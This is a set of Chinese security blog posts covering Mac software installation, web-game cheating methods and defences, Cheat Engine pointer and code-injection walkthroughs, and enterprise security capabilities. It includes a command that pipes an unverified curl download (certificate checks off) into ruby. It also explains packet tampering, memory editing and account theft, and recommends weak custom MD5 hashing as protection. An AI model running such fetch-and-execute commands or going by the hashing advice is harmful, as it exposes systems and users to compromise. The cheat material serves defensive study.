碳基体

奋斗在产品安全第一线的安全妹子

Mac使用小tips——软件安装

从开始研究iOS App安全开始,就入手了一台Mac book air,一下子就喜欢上了Mac操作系统,用户交互非常友好,终端操作也容易上手,属于unix挂的,内置了很多基本的命令工具,总的而言,比windows终端操作容易,比Ubuntu界面操作流畅。


操作系统上安装软件是最基本的操作,以下介绍三种安装方式



一、使用 homebrew安装应用

第一步:注册appledeveloper id


第二步:下载安装xcode


第三步:下载安装CommandLine Tools for xcode

打开xcode,xcode菜单中选择preferences,点击Downloads面板,查找commandline tools,然后安装。或直接https://developer.apple.com/downloads/index.action 下载安装


第四步:下载安装 homebrew

1. 安装brew

$ ruby -e "$(curl -fsSLk https://gist.github.com/raw/323731/install_homebrew.rb)"

brew 安装的软件存放在 /usr/local/Cellar中,同时会在 /usr/local/bin,/usr/local/sbin, /usr/local/lib 中创建链接。你可能需要将 /usr/local/sbin添加到搜索路径中。

$ vim ~/.profile

添加

PATH="$PATH:/usr/local/sbin"

export PATH

 

2. 使用brew

验证brew是否安装成功 brewdoctor

列出brew常用命令 brewhelp

安装软件 brew install package_name

卸载软件 brew uninstall

检索软件 brew search part_of_package_name 、brew search /regular_expression/

检查指定包是否已经安装 brew list |grep package_home

下载安装包但不安装 brew fetchpackage_name

查看安装包信息 brew info package_name

访问指定包的homepagebrew home package_name

列出安装包的内容 brewlist package_name

更新安装包 brewupgrade package_name

列出系统上安装的所有包brewlist

更新所有安装包brew update


3.brew update错误

当使用brew update命令时,出现了

Error:The following untracked working tree files would be overwritten by merge:Library/Formula/libarchive.rb

解决办法:

cd /usr/local/Library/Formula

git reset --hard FETCH_HEAD


与homebrew类似的还有MacPorts



二、命令行安装

第一步:检查安装包的内容

查看gzip,tar tvzfpackage.tar.gz | less  

查看bzip2,tar tvjfpackage.tar.bz2 | less

第二步:解压缩安装包

tar xvzf package.tar.gz

tar xvjf package.tar.bz2

第三步:查看install,readme文件

第四步:配置

./configure --help

./configure options

第五步:make

第六步:sudomake install


三、mac可执行文件的安装

直接将图标拖到application文件夹下即可


四、其他tips

1.在Finder标题栏上显示完整路径

终端输入

defaults write com.apple.finder _FXShowPosixPathInTitle -bool YESKillAll Finder

2.Mac系统下显示隐藏文件

终端输入

defaults write com.apple.finder AppleShowAllFiles -bool trueKillAll Finder

3. Mac系统下截图命令

command+shift+4



来源:碳基体

页游安全攻与防

初稿:2012-11-09

更新时间:2012-11-12(更新部分用绿色加粗字体标识)

---------------------------------------------------------------------------------------------------------------------------------------------------------

前言


----------------------------------------------------------------------------------------------------------------------------------------------------

网页游戏的安全问题,在刚入职接触的时候,写过两篇比较浅显的文章《网页外挂防御有感》和《网页游戏常见外挂原理及防御》。算算时间,距离现在也有一年多了,虽然页游安全总体上并没有显著变化,没有新的攻击方法,也没有新的防御方法,我个人的工作重心也由页游安全转向了手游安全,但出于完美主义的偏执,还是希望写一篇覆盖完整的页游安全文章,希望能给页游产业一点帮助。


大纲

----------------------------------------------------------------------------------------------------------------------------------------------------

一、协议安全(swf安全):自动封包 (重点)

二、自动游戏+加速

三、内存安全:内存修改

四、存档安全:存档修改

五、帐号安全/充值安全:盗号/低价充值


正文

---------------------------------------------------------------------------------------------------------------------------------------------------- 

一、协议安全(swf安全):自动封包 (重点) 

页游,最最核心的就是客户端(swf)与服务端的游戏通信了。游戏通信产生的封包,内容是否可识别,可篡改,可重放,处理逻辑是否有漏洞,都决定了这款游戏是否有重大的漏洞。


我们知道页游前端和后台的通信一般有两者方式,一种是http连接,一种是socket连接,前者适用于小型页游,例如内嵌在QQ平台的QQ农场,后者适用于大型页游。


不同的通信方式,产生的数据包格式也不一样,像HTTP AMF的可以使用charles来抓包查看,像sockets的可以使用WPE抓包查看。


以socket 通信为例,协议采用自定义格式,一般由两部分组成,包头与包体,包头一般是固定长度,包体为可变长度。包头一般是一些基本信息,例如包长度,版本号,命令号,用户ID,序列号等;包体就是操作命令对应的接收参数,参数个数不同,参数类型不同会导致包体长度不同。


只要摸清楚协议算法,即包是如何生成的,就可以构造数据包与服务器自由通话,这一后果是非常严重的。自由通话意味着你不需要老老实实的在客户端操作,一条数据包就能代替你一连串的操作,例如发送一条数据包完成一个任务,常用于快速升级,淘宝上的页游代练绝大多数都是采用的这种方式;自由通话更意味着你可以绕过客户端的逻辑判断,传任意参数给服务端。说到这里,你可能觉得只要服务端能正常处理来自客户端的参数,不出逻辑错误,不出配置错误,就万事大吉。这种想法很常见,例如上海宝开公司的某个开发就说过,我们的游戏逻辑判断都在服务端,我们没有外挂。我推测这个人应该不怎么上外网。

理想是丰满的,现实是骨感的,怎么能保证后台不将逻辑写错,策划运营不将配置弄错呢,特别是在高强度的通宵加班后。你可能说靠测试呀,中国页游行业,配给给游戏的测试人员是非常少的,相应的测试时间也是远远不足的,并且测试技术也非常需要提高,总的来说,在页游行业,能做完整协议测试的公司不多。但玩家,特别是从事外挂制作代练服务的打金工作室会“帮你”好好地彻底地做协议测试。他们会先反编译客户端上的SWF文件(缓存中的,内存中的)得到协议生成算法,制作成封包工具,遍历每个协议号,每个参数输入,让你的错误无从遁形。

我见过一个非常聪明的外挂制作者,在外挂中添加了脚本分享平台,号召大家共同摸索,将有问题的封包以脚本的方式上传以供大家下载,这种集思广益真的很妙,脚本的分享会给“找bug”精神奖励,将其帐号公布出来以供大家瞻仰,因此乐意分享的人很多。而且作者还很负责的有脚本审核机制,并支持快捷的查询。这是什么样的用户体验呀,这就是页游外挂界的app store


   


看到这里,你或许想,我保护好SWF文件,不让其逆向不就行了吗?有需求,就有满足需求的地方,市面上有不少给SWF提供加密服务的收费产品,例如Amayeta SWF Encrypt 和 DComSoft SWF Protector ,因为收费,没用过这些产品,不知道具体原理,但据了解,最常用SWF加密方式,就是破坏SWF标准文件头,通过向SWF的二进制文件的文件头写入无意义的数据,从而导致反编译软件无法正常解析SWF文件。下图是使用反编译器打开加密的SWF文件,会提示无法解析

 


我们可以对比一下采用这种加密方式的swf文件头内容:

(1)未加密swf文件


 正常的SWF文件,文件头部是由一个三字节的标识符开始,为0×46、0×57、0×53(“FWS”)或者0×43、0×57、0×53(“CWS”)其中之一。“FWS”标识符说明该文件是未压缩的SWF文件,“CWS”标识符则说明该文件前8个字节之后(即文件长度字段之后)的全部数据为开源的标准ZLIB方式压缩


(2)加密后的SWF文件


 

很明显,文件头部变成了无意义的符号。


-----------------------更新部分---------------------------------------------------------------------------------------------------------------

接下来我们看看,常用的SWF文件加密方法(方法来自http://blog.sina.com.cn/s/blog_731fdd2b01010u9k.html ,非常感谢博主)


(1)加密SWF

如下图所示,加密core.swf(core.swf为你需要要加密的SWF文件),加密方法是向core.swf的ByteArray部分写入无意义的数据

 

(2)解密SWF

如下图所示,在core.swf加载完之后,我们需要把破坏的文件头还原回来,例如使用loader.swf来加载被加密的swf文件,示例代码如下。

 


(3)隐藏解密密钥

很明显,这种SWF加密方法没什么作用。破解者虽然不能反编译core.swf,但他可以反编译loader.swf来找到解密方法(例如红框标识的关键数字7),然后还原core.swf的文件头,再反编译得到源码。于是大家想着如何用一种无法反编译的实现方法来隐藏加密密钥(例如上图红框中的7)。


目前页游界有两种方式来隐藏密钥,隐藏的原理都是生成无法反编译出源码的二进制文件(反汇编是可以的)。


方法一,Alchemy


利用Alchemy能够编译C/C++代码为AS字节码但无法被反编译的特性来隐藏加密算法。其实我怀疑目前有工具将Alchemy还原成C了,例如ASV(actionscript view 2012)就号称是目前最强悍的SWF解密工具,网上都有该工具的团购消息了。


方法二,Pixel Bender

Pixel Bender可以将加密算法编译成PBJ二进制文件内嵌到SWF文件中以供Flash player加载

 

遗憾的是,该PBJ文件可以被反汇编,由于用来隐藏密钥,转换的汇编代码比较短,比较容易推测出密钥生成算法。如下图所示


对应的汇编代码:

 

Pixel Bender Assembler 在线工具:http://ncannasse.fr/projects/pbj 

--------------------------------------------------------------------------------------------------------------------------------------------


我不懂SWF的加密解密,但我知道有一条万能守则,任何加密在内存中都是解密状态的。当无法解密的时候,就从内存中查找导出吧,我们可以先使用SWF Memory Dumper从浏览器内存中导出解密并解压缩的SWF文件,再用传播程度都烂大街的硕思闪客反编译得到源码。这一方法对游戏协议安全来说,是非常非常非常悲剧的。如下图所示,包的组成结构,包中各个字段的生成算法都可以通过逆向解密SWF文件获得!



 

 

例如下图为游戏协议结构


 例如下图就是游戏协议对应的命令号

   

例如下图为游戏配置表

   

更新部分:内存导出的SWF文件反编译转换的AS源码并不包含采用Pixel Bender编写的PBJ二进制文件,需要另外使用反汇编工具得到处理逻辑。


 


一切的一切,都注定了要想完全解决协议安全问题,只有靠AS混淆了。目前有一些收费软件提供AS混淆,例如secureSWF 。但奇怪的是,没有多少页游公司实施AS混淆。


写到这里,或许你会幻想游戏协议算法不会被逆向得知,那不就完事大吉了吗?再次申明,现实是残忍的,即使不知道协议算法,照样可以修改游戏封包。我们可以通过耐心的反复操作来对比封包的不同,定位到修改点。一般使用WPE工具,修改包体。WPE工具的关键就是过滤器,查找到符合指定特征的封包,将特定的位置替换为修改的值。如下图所示,

 

除了封包篡改,最简单的连封包结构都不要猜测的就是封包重放作弊了,例如打怪是一条封包,只要反复重放该封包,就能轻易刷取经验值了。


好的协议设计,一定要考虑到防御封包篡改和封包重放,最简单的方法是在封包的某个字段加入一个序列号,该序列号包含包体完整性检验值,时间因素值,来区分封包是否是重放的,是否有被篡改。


有了好的协议设计,协议是否安全了呢?协议的实现方法在客户端SWF中,这一事实又讲安全问题引回到SWF被逆向的问题上,只要被成功逆向,一切努力都打水漂了。虽然防御艰难,但也不能放弃,一种方法不行,可以用多种方法。总的来说,为了协议安全,可以做如下措施(不仅仅从技术上):

1.好的协议设计,防重放与篡改 

2.SWF加密 ,注意加密算法的安全,最好AS混淆

3.耐心的做协议检测,开发在提交测试前,做协议测试;测试在完成了功能测试,性能测试后也要搞好协议测试;策划运营对配置表做认真的检查;

4.设计一套监控系统,监控游戏中的收益与消费,大量的刷取物品肯定会在数值变化中体现出来;

5.留意游戏论坛,游戏QQ群里是否有新漏洞的披露,外挂是否有更新;

6.频繁更换加密算法,与外挂制作者PK更新速度




二、自动游戏+加速 

自动游戏,简单的说就是模拟鼠标或键盘对游戏UI的操作,代替你做重复的工作。最简单的自动游戏脚本可以使用按键精灵来制作,先对正常操作进行录制,然后编辑,设置热键,最后回放即可。程序实现中一般会有以下几个关键函数

(1)模拟键盘

VOID keybd_event(
BYTE bVk, // 虚拟键码
BYTE bScan, // 扫描码
DWORD dwFlags,
ULONG_PTR dwExtraInfo // 附加键状态
)


(2)模拟鼠标

VOID mouse_event(
DWORD dwFlags, // motion and click options
DWORD dx, // horizontal position or change
DWORD dy, // vertical position or change
DWORD dwData, // wheel movement
ULONG_PTR dwExtraInfo // application-defined information
)

自动游戏的作弊方式常见于对战刷怪类游戏,自动识别地图中怪物出现的位置,自动出招打怪,自动拾取掉落宝物。往往还会配合加速外挂,总的来说,就是靠达成那种不知疲倦(脚本操作)、准确度高(自动识别地图中UI特征)、快速(对页游就是加速flash的动画播放速度)的操作方式来快速升级。


自动游戏类型外挂的防御比较简单,增加人机识别的因素,类似于论坛避免批量注册,采用只有人类才能识别的验证码(题外话,不少网站的验证码其实可以机器识别),例如对于对战类游戏,记录每次对战的频率和操作时间特性,对异常的操作弹出图片验证,中断自动游戏。

实施图片验证的时候,要考虑到两个要素:

一是图片是否真正的机器难以识别,要预防简单的像素采集技术;

二是图片库是否及时更新,要预防图片库的遍历。


而加速外挂,也常见于对战类游戏。改变操作速度有两种情况。一种是使用变速齿轮之类的加速外挂加快flash动画播放速度,一种是速度值为游戏中的某个变量值,修改了对应的数值。


对于加快flash动画播放速度的加速外挂,我们可以通过对比客户端服务端时间是否同步来检测,当检测到异常的时候,可以弹出图片验证,中断加速。

 

对于速度由游戏中数值控制的,做好协议安全,使其无法改封包中对应的数值;做好SWF反逆向保护,使其无法修改源码中控制速度的逻辑。


三、内存安全:内存修改

修改游戏在内存中的数值是经典的单机游戏作弊方法,同样也适用于网页游戏,原因很简单,不可能每个来自客户端的数据,服务端都做验证。(看看页游公司开发前端和后台的比例吧!)以社交类网页游戏为例,其中会内嵌不少小游戏,这些小游戏可能是用来赚取游戏经验或货币等数值的,很显然,这种类型的小游戏基本就是主逻辑在客户端的单机游戏,只是最后将游戏分数上传给服务器,服务器再根据游戏分数的不同来下发相应数额的游戏货币。我们完全可以在积分上传前,在内存中查找并修改该数值。 如下图所示,用cheat engine去查找IE进程中游戏分数。

(cheat engine是我最喜欢的内存修改工具,手游上的内存修改工具和这个比起来简直是胎儿版的。该工具支持自定义格式的内存搜索,具备强大的反汇编功能,更妙的是可以直接生成外挂,特别赞的是竟然采用了游戏通关的方式来教授工具使用,我的博客中有第八关第九关通关方法)

 

程序实现一般会有以下几个关键函数

(1)读取进程数据ReadProcessMemory

(2) 查找,查找算法可以按数值类型、扫描类型及内存扫描方式来实现

例如数值类型有二进制,1字节,2字节,4字节(游戏最常用),8字节,浮点数,双浮点数,文本,字节数组,自定义(这个最牛);

例如扫描类型可以支持精确查找,模糊查找(比...大,比...小,两者之间),数值变化趋势(数值处于增加中,数值出于减少中,数值没有变动,与首次扫描数值相同,数值增加了某个指定值,数值减少了某个指定值);

例如内存扫描方式有自定义扫描起始与终止地址,同时扫描只读内存,深度扫描,快速扫描,扫描时暂停游戏

(3)写数据WriteProcessMemory


内存修改的防御,有以下几种建议:

(1)重要数值在内存中拆分存放,使其无法简单定位到(会使得游戏逻辑变复杂)

(2)默认可以修改,在服务端控制收益上线。(考虑到成本,为目前主流控制方法)


四、存档安全:存档修改

在flas在flash单机游戏时代,修改本地存档文件,是游戏作弊的重要方式,相信有不少人就用过Flash存档修改器。

 


              随着页游兴起到现在的页游繁盛,依赖于存档进行逻辑判断的设计减少了,但这块也不能完全忽略掉。总会有一些功能是需要调用本地存档的。例如登录模块中,记住密码功能,会将密码信息存储在本地,以IE浏览器为例,在C:\Documents and Settings\(你的Windows用户名)\Application Data\Macromedia \Flash Player\#SharedObjects\(些随机数字和字母)\ 文件夹下就可以看到存储密码的SOL文件,可以使用minerva工具查看,如下图所示,密码明文明文存储的,SOL文件是永久性保存的,除非手动清除,如果玩家在公共环境下登录,就会有盗号威胁。

 也有些开发意识到了这个问题,而采用加密存储方式,一般采用md5(其实md5不是真正的加密算法)。md5解密的在线网站非常多,如下图所示,密码通过两次md5后存储,我们可以在 http://www.cmd5.com/ 查到。

 所以建议 存档加密,采用自定义的加密算法,例如md5后转置再md5,等等。


五、帐号安全/充值安全:盗号/低价充值

帐号安全和充值安全不仅页游如此,所有游戏,甚至所有线上应用都如此。如果说开是个大的话题,我仅仅介绍页游中常见的威胁与防御。

(一)、帐号安全

威胁:

1.外挂盗号

例如下面号称可以无限刷取游戏货币的外挂,实际上在用户输入帐号和密码后,将信息发送给盗号者的邮箱。

 

2. 社工盗号

在游戏中获取信任,以为对方代练等好处为引诱盗取帐号。或通过获取个人信息,从密保问题下手进行盗号。


3.从游戏的帐号管理中心等web入口下手,进行盗号。

例如登录模块没有验证码或验证码实现机制漏洞,使用字典扫描批量盗号


4.传输嗅探盗号


5.利用帐号申诉流程漏洞进行盗号

例如有些申诉打分机制存在提供多次充值证明就可以取回密码的方式,先充值,再盗号。


防御:

1.安全意识宣传

2.弱口令检测

3.异地登录提醒

4.登录行为监控

5.设计好帐号相关功能,例如申诉流程


(二)、充值安全

威胁:

1.社工

在网上发帖慌称发现充值漏洞,骗取贪心网友给自己指定的帐号进行充值

 

2.利用手机充值漏洞

使用快过期的手机废卡进行充值,大多数的充值不会再次检测手机卡是否存活状态

3.利用宽带充值漏洞

盗取宽带帐号进行充值,由于不会实际影响游戏收益,顶多会出现受害者损失严重的情况下投诉带来的不好影响。

4. 真正的充值漏洞

比如说广泛采用的点卡充值,可能存在点卡被重放使用的漏洞


防御:

1.安全意识宣传

2.充值相关功能的安全检测


结论

---------------------------------------------------

总的来说,页游的各种外挂问题很普遍,端游有的它都有,但安全防御不如端游,这很大程度上是因为页游的开发周期短,生存周期也短,例如较长的神仙道游页才两年了,甚至大多数页游,只是为了短时间洗用户抢钱,因此不会投入人力物力在外挂防御方面,或许第三方的安全服务会有点市场吧,比如说他们乐意购买支持多项目的AS混淆工具。总之,页游是个浮躁的市场,只有生命周期强大的游戏,才会注意到外挂问题。



参考文章:

http://blog.sina.com.cn/s/blog_731fdd2b01010u9k.html 


来源:碳基体

网页外挂防御有感

公司老大一句话,我们产品安全组就屁颠屁颠的将主力放在了外挂防御上。虽然因为外挂的猖獗(其实一直存在,只是最近老大的老大的老大把重点放在了这块),会议增多了,邮件增多了,rtx拉群多了,我一老实巴交的人也搞得像去进行毒品交易似的去弄外挂。以下讲讲我是如何防外挂的。
第一步:外挂弄到手
首先要了解最潮的外挂,这就得打入游戏群体,得装成是沉溺于游戏的00后臭屁小孩(我们是儿童游戏),满口都是刷伏魔塔,卖装配,练级。。。
在明确流行的外挂后,要确定如何获取,买的话要防诈骗,下载的话要防木马(很多盗号木马伪装成刷金币刷装备的极品外挂,宣传的你都留口水)。有钱的,淘宝买,选择星级评价高的,一个月内有购买消费的;没钱的,关注游戏相应论坛,对于对战类游戏,有组团要求的,加入进去,你会得到很多游戏漏洞信息,当然得忍受群内无营养的唧唧喳喳,黄色图片刷屏(男银有福了)。
第二步:摸清外挂的原理
拿到外挂后,千万不要很high的直接打开,没条件的下个虚拟机,在虚拟机中打开。有条件的,配个专门机器从事外挂研究(与公司内网环境断开,只连外网)。
现在网页游戏外挂分为脱机与非脱机式两种,脱机的比较可怕,基本意味着对方已经完全破解你的通信协议,即游戏根本机制,要防御此种外挂,只有修改通信协议,此工程可大也可小。非脱机的制作水平参差不齐,基本属于好医治类型。
所有的网页游戏的常见招数无怪乎以下几种:
第一种:自动操作型。常见于比较固定的游戏模式中(人机交互无,少,或不变),比如说跑地图采集物品,机械式对战,用一个按键精灵,就搞定了。先自己操作一遍,录制成脚本,修改,回放。
第二种:修改客户端数值。无论是b/s,还是c/s模式的游戏,本质都是一样,都能在客户端内存中找到相应的数值,低级点的金山游侠,相应爱好单机版游戏的玩家都自己整来玩过。我遇到的最好的游戏修改器,叫CheatEngine,不仅功能强大,能快速准确定位数值在内存中的地址,能反汇编,能制作图形化游戏修改器,能。。。,关键是还附带通关游戏式的教程,相当有趣。简直是修改器中的战斗鸡。
第三种:封包修改。WPE一出手,就知有没有。网游说到底就是客户端与服务端之间交流做生意。比如说c去s那买西(c是客户端,s是服务端),c告诉s,我是xx,我要买物品A(就是一条SENT数据包)。s接到消息后,先验证c是不是xx,然后验证物品A是否可以购买(比如说物品A是否上市,是不是只有VIP才可以购买),接着验证A是否有足够多的钱可以购买。一切都核实,没有问题后,就发货(就是一条RECV数据包)。这些通信包,有相当多的工具可以捕捉的,就像捕捉蝴蝶,可以用透明网袋,也可以用黑色垃圾袋。关键是要选择一款可以精确捕捉,并能让你读懂捕捉内容的工具。底层协议的封包捕捉工具像wireshark的确能捉到,但就像你本来打算摘取一朵左上角有紫色斑纹的四叶草,结果去给你一片广袤的四叶草坪,捕捉回来也找死你。
对网页游戏而言,有以下几种通信方式:
a)直接通过winsock编程接口进行,自定义通信协议格式的。用WPE吧,基本够用了。WPE捕捉的通信包都是十六进制的,但是可别一看到数字就害怕退缩了。要知道,在天朝(国外不知道)网页游戏通信协议绝大多数都没有加密,官方解释是加密影响数据传输,用户体验(用户体验是啥,大到乔布斯小到坐在你旁边的产品策划,会告诉你这四个字的魔力,威力是殿堂级秒杀)。业内解释是加密个球,年年月月,分分钟钟的加需求,做不完啊,已经一个星期没回家,一个月没洗澡了,老婆孩子长啥样都忘了)。不加密的协议,特点是啥,地球人都知道,对比,对比,就能猜出来。我们公司的某款产品的协议就几乎就是透明的了,据说加入某个游戏群的见面礼就是破解一条协议,阿猫阿狗都会了,你说不会,face不要太厚哦。实在太笨,就勤奋点,同一类型操作多做几次,对比数据包,变动的值,试着去修改,就我了解,99.9%的协议只需要修改一个字节,一个字节也就00到FF一共有限次可能性。
b)通过AMF协议进行通讯的,常见与小型社交游戏,如QQ农场。用Charles吧,这个比WPE简单多了,直接是名:值的格式展示给你看的。简直就像看价格表一样清晰,公安锅盔:5元 ,谁都能看懂吧,要看不懂,别外挂了,做游戏良民吧。
c)通过HTTP协议进行通讯的,相当少,可忽略
d)通过SOAP协议进行通讯的,目前没见过这样的大型网游,但在满世界都叫嚣着云平台,计算即服务的时代,未来很可能有。目前就不用管了。
第四种:加速器。这个常见于对战类的游戏场景中,对于flash游戏,最常见的办法就是加快你flash动画播放的速度。玩过游戏的都知道,发一个靓招,会有动画特效,越是绝招,特效越是风骚。但打架的时候,好看有个P用,反而拖后腿。打架最重要的是啥,天下招数,唯快不破。不要喝采,不要动画,只要比对方快。对方打你一次,你已经打对方N次了,就算力量不够,捶多了也就捶死对方了。加速器与自动操作型外挂往往是绑定起来的,不仅比对方快,而且还不是人在操作,多么可怕,多么杀!
第五种:其他。比如说改键精灵(强烈怀疑是按键精灵的亲戚),常见于动作类游戏,简单的说就是你按a键实际发送给服务端的消息是b键,一般使用该工具将复杂的按键组合自定义为你最熟悉的按键组合,比如说你的左撇子,不习惯右手按键,那就修改成左手容易按的键,目的是啥,操作更流畅,比对方更快!
写到这里,发现自己有点偏离主题了,我貌似在宣传普及如何使用外挂,忘了自己是一位打击外挂的安全人员了。接下来,回到正题,讲讲如何防御吧,其实防御与攻击相比,往往要弱很多,攻击是利益兴趣啥的驱动着,有一股强大的动力。而防御呢,是被迫的,是不情愿的,是额外的工作量,意味是得更晚回去,意味着老婆因为你加班过多要爬墙。。。

第三步:外挂防御
第一种:自动操作型。自动操作型的工具是否定义为外挂,一直处于争议中。正方:谁叫你设计得这么傻,每次都一样,怪物出现在同样的地方,金币掉落在同样的地方。。。山珍海味天天嗑,也得嗑吐。我只是在避开游戏的枯燥面,才能更好的体会游戏的乐趣。合情合理,我都要被说动了。反方:不公平,为什么我都鼠标手了,这家伙挂上机后就装乖宝宝,看书学习,德智体美劳样样精通,现在连游戏都比我玩的好,啥,听说挂机外挂就是这家伙写的,搞错没,我们才小学五年级!
对付这种录制回放型(无论是基于GUI的录制,还是基于协议的录制),最有效的办法,就是靠图灵测试来判断游戏的对方是否为人类。相信大家在做登录操作时,都遇到过需要输入验证码的情况,这就是最简单的图灵测试。验证的前提是,非人类无法识别图片(当然,随着技术的日新月异,图像辩识技术的成熟及普及,终有一天,这一招会失效)。在游戏中,可以通过随机性的出现需要用户交互的场景,这一设计当然也影响了用户体验的友好程度,特别是儿童类游戏,应该降低游戏的门槛。如何做得有趣有效特别是成本要低,是个比较头痛的博弈问题。
第二种和第三种,修改客户端数值和封包,其实都可以归类为客户端修改,对安全工作者而已,一切来自客户端的数据都是不可靠的(来自服务端的也一样),要根绝这种最根本的是做好客户端服务端双向验证。但就我了解,基于开发成本或技术问题,全部逻辑放在服务端做验证就是个天方夜谭。
网页游戏中的小游戏比如说,兔子跳铃铛,宝石迷阵之类的都是将逻辑的判断完全放在客户端。发送给服务端的数据只有两条,一条是通知服务端游戏开始了,另一条是通知服务端游戏结束了,我得了多少分,我需要奖励多少金币。如果服务端对积分的获取是否是合法的(有没有被修改)验证机制不完全(一般都是极其简单的验证),就很容易被绕过。而游戏设计者采取的防御办法往往都是很无奈的,依靠给物品获取设置个上限。就像明知道小偷会定期打开我的保险箱,我唯一能做的是在保险箱里少放点钱,太悲凉了!即使成本有限,不能完全防御,起码我们也要提高攻击的门槛。即使做在不靠谱的客户端,但也比不做要好很多。
对于依靠修改内存游戏数值获利的家伙们,我们要提高找到这个数值的门槛,将数值拆分存放,最简单的拆分办法为数值+验证值(按得分的游戏等级,游戏时间来综合计算)。
对于修改封包获利的家伙们,同样的道理,提高找到修改数值的门槛,进行封包加密,将封包中重要字段,如物品id,礼包id,积分,数量等数值采取一定算法进行完整性验证,并将该验证字段再次加密处理,附加在封包中。当然其安全性,很大程度上取决于加密算法的安全性,但是与众多不加密的网页游戏相比,加密远远比不加密好。
其实我一直在思考为什么不进行协议加密,就像为什么要将逻辑判断放在客户端一样,主要原因真是后台开发的稀缺,不得不将逻辑验证放在客户端吗?就如我所在公司,一款网游,前端为6到7人不等,后台为4人。我不是开发,不好妄下定论。还有一种较为官方的说法,说逻辑判断放在后台,会影响网络游戏的通信效率,我没有做过加密协议,与普通协议的通信性能测试,也不能妄下定论,希望了解的人能告知。
第四种,加速器。对网页游戏而言,一般都是靠加速动画的播放速度来加快游戏对战的速度。甚至有公司,把能否去掉动画播放的功能做成两个版本,VIP玩家可以略过动画播放,加快游戏速度。就如网络上,各种播放软件,如果交费了,就不用看广告一样。一般通用的加速器也能达到这个效果,通过改变本地的系统时钟达到效果。防御的手段,就是在通信包里加入时间参数,由服务端去验证两边时间是否一致。这种防御方法,同样受限于所谓的开发成本,对于将大多数逻辑做在客户端的游戏是很无能为力的。

这篇长长的博客,也要接近尾声了,总的来说,外挂攻击远远比外挂防御来得凶猛。在这里我也仅仅是讲了网页游戏的常见外挂,并不没有包含客户端游戏的各种更加巧妙的外挂方式。对,我们的防御做得如温室里的花一样较弱,我们的游戏存在各种大大小小的漏洞。并不是我们不能做好这一块,而是资源,无可奈何的资源缺乏。对于一个公司,核心的东西才能拿到资源,游戏是否能盈利才是一个公司最核心考虑的问题,而对更新速度飞快的网页游戏,需要把大量的精力花在创新游戏玩法,收费模式,游戏质量自然而然就被忽略了。
做为前任的测试人员,我明白,网游的测试,在协议,性能没有很大的问题上,跑通游戏后就可以上线了。如此要求的情况下,网页游戏测试基本上没有很大的成长空间的,需求决定了就业的前景。

陷入职业前景的苦闷中,在家休息了半年,静心思考以后的走向。于是我转向了安全这一块。如果一份工作不重要,那起码要有趣。
在线岗位工作了将近三个半月了,新鲜慢慢褪去,疑虑慢慢增长。幸运的是成长空间还很大,只是需要调整自己的工作方式。起码近期内,我会沿着这条路走下去。

来源:碳基体

Cheat Engine 第八关攻略:多级指针查找与修改


(实现思路:用不变地地址(动态地址)定位变化的地址(基址))
第一步:查找数值的动态地址


 


得知动态地址为00973574
第二步:查找第一级指针

右键——找出是什么改写了这个地址
改变数值,回到ce


可得知,动态地址【00973574】=偏移地址18+第一级地址的值【0097355C】
查找【0097355C】的地址即第一级指针


得知第一级指针为00971398
第三步:查找第二级指针

 右键第二行,找出是什么访问了这个地址
改变数值,回到ce

 

 可得知,动态地址【00971398】=偏移地址0+第二级地址的值【00971398】
 查找【00971398】的地址即第二级指针

 得知第二级指针为009638FC
第四步:查找第三级指针
 右键第三行,找出是什么访问了这个地址
 改变数值,回到ce

 可得知,动态地址【009638FC】=偏移地址14+第三级地址的值【009638E8】
  查找【009638E8】的地址即第三级指针

  得知第三级指针为0097000C
第五步:查找第四级指针
 右键第四行,找出是什么访问了这个地址
  改变数值,回到ce



 可得知,动态地址【0097000C】=偏移地址0C+第四级地址的值【00970000】
   查找【00970000】的地址即第四级指针


得知第四级指针为00460C20
第六步:添加指针地址
点击手动添加指针,勾选指针,点击三次添加指针

 

 由上图可知,本级指针=偏移量+下级指针的值


第七步:修改指向动态地址的指针的值
点击改变指针


修改指针的值为指定的值。

 

来源:碳基体

Cheat Engine 第九关攻略——代码注入

第一步:查找健康值对应的地址
 


点击打我,回到ce,观察值的变动,找到对应的地址


第二步:调出ce调试器调试当前进程(右键——是什么改写了这个地址
点击打我


第三步:回到ce,点击 显示反汇编程序,调出内存浏览器


第四步:点击工具,脚本引擎,注入指定脚本
#include <time.h>
struct tm *timep;
time_t c;
c=time(0);

timep=localtime(&c);

if(timep->tm_sec>=30) 
*(int *)0x0096AE38=1000;//地址值替换为第一步查找到的地址
else
*(int *)0x0096AE38=2000;



 第五步:点击注入——注入当前的进程,记住call代码,call 02DF00C7

 
 第六步:自动汇编窗口,点击模板-代码注入
 
 



 添加call代码,注释掉原始代码,点击执行

来源:碳基体

小话企业安全能力建设

曾经遇到一个面试题,如何对互联网企业从零开始建设安全能力。我瞬间就蒙圈了,只能想到资产整理后的分层检测、防御与应急响应,然后脑海里飘过的一堆开源工具,例如:

生产环境下

网络层:端口扫描发现服务nmap/zmap/masscan, 入侵检测snort/bro,防火墙iptables/netfilter,堡垒机

主机层:入侵检测ossec/snort,安全审计lynis/audit,rootkit检测,漏洞检测nessus,主机加固

应用层:waf(nginx+lua),漏洞检测awvs+nikto+sqlmap, webshell检测,mobile APP安全检测

业务层:账户安全管理,反游戏外挂,黑产抗衡,反欺诈等

办公环境下

OA系统:上网行为监控,PC杀毒,邮件附件杀毒,移动设备管理

这个答案被直接鄙视了。

现在想想,不考虑企业规模,不考虑企业安全建设阶段,我这个答案也不算太错。 全景上看企业安全,实际就这些


一、资产管理能力(外网&&内网)

   

记得有一家互联网公司做资产管理,是靠内审人员excel人工登记,互联网资产变动是相当快的,这种不靠谱的方法结果是白干了。资产管理要做的好一定需要一套资产发现自动化工具。

现在有不少优秀的外网资产发现工具,其实有名的shodan/zoomeye就是,这里可以学学渗透的第一阶段,信息采集能力。

二、安全评估能力

   

安全评估,大多数的甲方工作人员都重点在做web产品的安全测试,mobile产品还处于初级阶段(其中Android的要比iOS稍微好一点点),涉及业务逻辑与黑产对抗的基本靠业务线的测试人员来抗

三、安全检测能力

   安全检测能力上,体量略大一点的公司都开始了漏洞扫描器的自研,但基本都围绕着性能与部署优化(单机变分布式,分布式变虚拟化docker),检测能力没有本质提高,漏洞扫描器的通用漏洞扫描能力都维持现状,PoC扫描能力靠漏洞收集等非技术线方法来提高。

四、安全监控能力

